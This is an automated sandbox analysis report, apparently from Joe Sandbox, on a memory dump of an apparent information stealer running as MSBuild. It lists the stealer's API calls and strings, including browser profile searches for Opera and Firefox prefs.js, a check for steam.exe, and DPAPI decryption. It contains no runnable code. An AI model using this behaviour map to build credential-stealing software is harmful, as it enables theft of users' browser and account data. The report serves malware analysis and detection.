Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: 52ecbd5b4a38551fbf1eff65d9ccd163c8eed750bdefbe09ee6b3e091a2c5729
Instruction ID: 0260d5c266de210f65568f4b73986d2e2321fdcb1199aff99a3b39d86c03169e
Opcode Fuzzy Hash: 52ecbd5b4a38551fbf1eff65d9ccd163c8eed750bdefbe09ee6b3e091a2c5729
Instruction Fuzzy Hash: F4021C71A401299BCF21FB26DD466CD7775AF14308F4111EAB948B3192DBB86FC98F88

Function 00415142 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004151C2
_memset.LIBCMT ref: 004151E5
GetDriveTypeA.KERNEL32(?), ref: 004151EE
lstrcpyA.KERNEL32(?,?), ref: 0041520E
lstrcpyA.KERNEL32(?,?), ref: 00415229

Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414D1C
Part of subcall function 00414CC8: FindFirstFileA.KERNEL32(?,?), ref: 00414D33
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D4F
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D60
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DC2
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DFF
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414E28
Part of subcall function 00414CC8: lstrcatA.KERNEL32(?,?), ref: 00414E3D

lstrcpyA.KERNEL32(?,00000000), ref: 0041524A
lstrlenA.KERNEL32(?), ref: 004152C4

Strings

*%DRIVE_REMOVABLE%*, xrefs: 0041518F
%DRIVE_REMOVABLE%, xrefs: 00415215
*%DRIVE_FIXED%*, xrefs: 0041515E
%DRIVE_FIXED%, xrefs: 00415230

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memset$lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 441469471-147700698
Opcode ID: c9d42909db418974abad73dc19fd428f4d65fc45d37dbb9aa4a689193fe46e70
Instruction ID: ea4f15970c6a5d4b45be7a2176528fb80d3ae30a0f48c86a9c416c7322ab13a3
Opcode Fuzzy Hash: c9d42909db418974abad73dc19fd428f4d65fc45d37dbb9aa4a689193fe46e70
Instruction Fuzzy Hash: 3C512CB190021CAFDF219FA1CC85BDA7BB9FB05304F1041AAEA49A7111EB355E89CF59

Function 0040D5C6 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437570,004368A3,?,?,?), ref: 0040D647
StrCmpCA.SHLWAPI(?,00437574), ref: 0040D668
StrCmpCA.SHLWAPI(?,00437578), ref: 0040D682
StrCmpCA.SHLWAPI(?,prefs.js,0043757C,?,004368AE), ref: 0040D70E

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

CopyFileA.KERNEL32(?,?,00000001), ref: 0040D7E8
DeleteFileA.KERNEL32(?), ref: 0040D8B3
FindNextFileA.KERNELBASE(?,?), ref: 0040D956
FindClose.KERNEL32(?), ref: 0040D96A

Strings

prefs.js, xrefs: 0040D702

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: bfb07b7c417370cc65cdf3c113b30ca7fb62479600deee231d6f3beb901ab667
Instruction ID: 52904dbdec7a8812f0d6252b7ecd21146621a6019d038770ccdf13318407303e
Opcode Fuzzy Hash: bfb07b7c417370cc65cdf3c113b30ca7fb62479600deee231d6f3beb901ab667
Instruction Fuzzy Hash: D3A10C71D001289BCF60FB65DD46BCD7375AF04318F4141EAA808B7292DB79AEC98F99

Function 0040B5DF Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437424,00436822,?,?,?), ref: 0040B657
StrCmpCA.SHLWAPI(?,00437428), ref: 0040B678
StrCmpCA.SHLWAPI(?,0043742C), ref: 0040B692
StrCmpCA.SHLWAPI(?,00437430,?,00436823), ref: 0040B71F
StrCmpCA.SHLWAPI(?), ref: 0040B780

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 0040ABE5: CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC8A

FindNextFileA.KERNELBASE(?,?), ref: 0040B8EB
FindClose.KERNEL32(?), ref: 0040B8FF

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: 2f9eaede6a784df842a591c25a0cd1165b2f0564e05c296c23f42ffc82e080ae
Instruction ID: e9d49ef9ce8a2bc9a117d4fe253b15a3b51ee7ef692749dde95bb5dd1480248d
Opcode Fuzzy Hash: 2f9eaede6a784df842a591c25a0cd1165b2f0564e05c296c23f42ffc82e080ae
Instruction Fuzzy Hash: A0812C7290021C9BCF20FB75DD46ADD7779AB04308F4501A6EC48B3291EB789E998FD9

Function 004124A8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 004124B2
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004124D4
Process32First.KERNEL32(00000000,00000128), ref: 004124E4
Process32Next.KERNEL32(00000000,00000128), ref: 004124F6
StrCmpCA.SHLWAPI(?,steam.exe), ref: 00412508
CloseHandle.KERNEL32(00000000), ref: 00412521

Strings

steam.exe, xrefs: 004124B7, 00412500

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 1799959500-2826358650
Opcode ID: 1e05f0965f72d128c620ac0fa61a73bdd70f09bb6f681c8712c2487e80381a4f
Instruction ID: a3cdee16b5dfd04d3bd918c7eedd9f2c5ccf5c1b7225a83da59ac7103b0bc528
Opcode Fuzzy Hash: 1e05f0965f72d128c620ac0fa61a73bdd70f09bb6f681c8712c2487e80381a4f
Instruction Fuzzy Hash: 81012170A01224DFDB60DB64DD45BDE77B9AF09311F4011E6E409E2290EB398B81CB25

Function 00410DDB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

LocalFree.KERNEL32(00000000), ref: 00410EFF

Strings

/ , xrefs: 00410E73

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: b5110414db0781ed465f941b9ae6bcaf1628d348266bcf15fae52e8b0fa6dca4
Instruction ID: ba20de4f6d07cba688775156cda93bca6e715b227c052c7d3b8ee28496ea85f9
Opcode Fuzzy Hash: b5110414db0781ed465f941b9ae6bcaf1628d348266bcf15fae52e8b0fa6dca4
Instruction Fuzzy Hash: 2A314F71900328AFCB20EF65DD89BDEB3B8AB04304F5045EAF519A3152D7B86EC58F54

Function 0041257F Relevance: 9.0, APIs: 6, Instructions: 37processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00412589
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F41,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
StrCmpCA.SHLWAPI(?), ref: 004125DC
CloseHandle.KERNEL32(00000000), ref: 004125F0

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID:
API String ID: 1799959500-0
Opcode ID: 3a25e308f3e13ec267530d7d1545f0ea3354c92615fb9149f05ae7eefacbcf4d
Instruction ID: a342571249a904de89e2d28a6ac51ba89f12813f8da7ed82e50d95a069ae9259
Opcode Fuzzy Hash: 3a25e308f3e13ec267530d7d1545f0ea3354c92615fb9149f05ae7eefacbcf4d
Instruction Fuzzy Hash: C1018135600224AFEB61DB609D48FEE77FE9F19301F8400E6E40DE2251EA798B849B35

Function 004080A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 004080A9

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID: DPAPI
API String ID: 2068576380-1690256801
Opcode ID: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction ID: 09c146c598fe2db9e3360274f95d94fd5a71afecc77b7c133579c0d37eeb6d97
Opcode Fuzzy Hash: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction Fuzzy Hash: 5901ECB5A01218EFCB04DFA8D88489EBBB9FF48754F158466E906E7341D7719F05CB90

Function 004114A5 Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Process32Next.KERNEL32(00000000,00000128), ref: 00411542
CloseHandle.KERNEL32(00000000), ref: 0041154D

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: d4b453576ad4f3625b6b8d3a98ae388fbddfe9144bcf6f2d6953d3127222c563
Instruction ID: cecb0f06a50482290116f099c25e0230255ed02a1d9bcffe7551c72d2d14305d
Opcode Fuzzy Hash: d4b453576ad4f3625b6b8d3a98ae388fbddfe9144bcf6f2d6953d3127222c563
Instruction Fuzzy Hash: 9C117771A00214ABDB11EB65DC85BEE73A9AB48304F400097F905A3251DB78AEC48B64

Function 00411E5D Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
RtlAllocateHeap.NTDLL(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocateBinaryCryptProcessString
String ID:
API String ID: 869800140-0
Opcode ID: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction ID: cc1f0cdc7ec9addca40c1236ae1a006933468a7893b1c2cc3d15f31d1535d567
Opcode Fuzzy Hash: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction Fuzzy Hash: 3F010C70500309BFDF158FA1DC849AB7BBAFF493A5B248459F90593220E7369E91EA24

Function 00410D2E Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
HeapAlloc.KERNEL32(00000000), ref: 00410D50
GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
wsprintfA.USER32 ref: 00410D7D

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: da3ab1333ae34f1d28e0fac43badc88ac46d6a3555cecf111c3774452892b3c3
Instruction ID: 61d95923a291ecda6e095beb314f014951f64f3de92a0ce4f4bd39d2e0bf5c47
Opcode Fuzzy Hash: da3ab1333ae34f1d28e0fac43badc88ac46d6a3555cecf111c3774452892b3c3
Instruction Fuzzy Hash: F2F0E071A0132467EB04DFB4EC49B9B37659B04725F100295F511D71D0EB759E844785

Function 00410C53 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Memory Dump Source

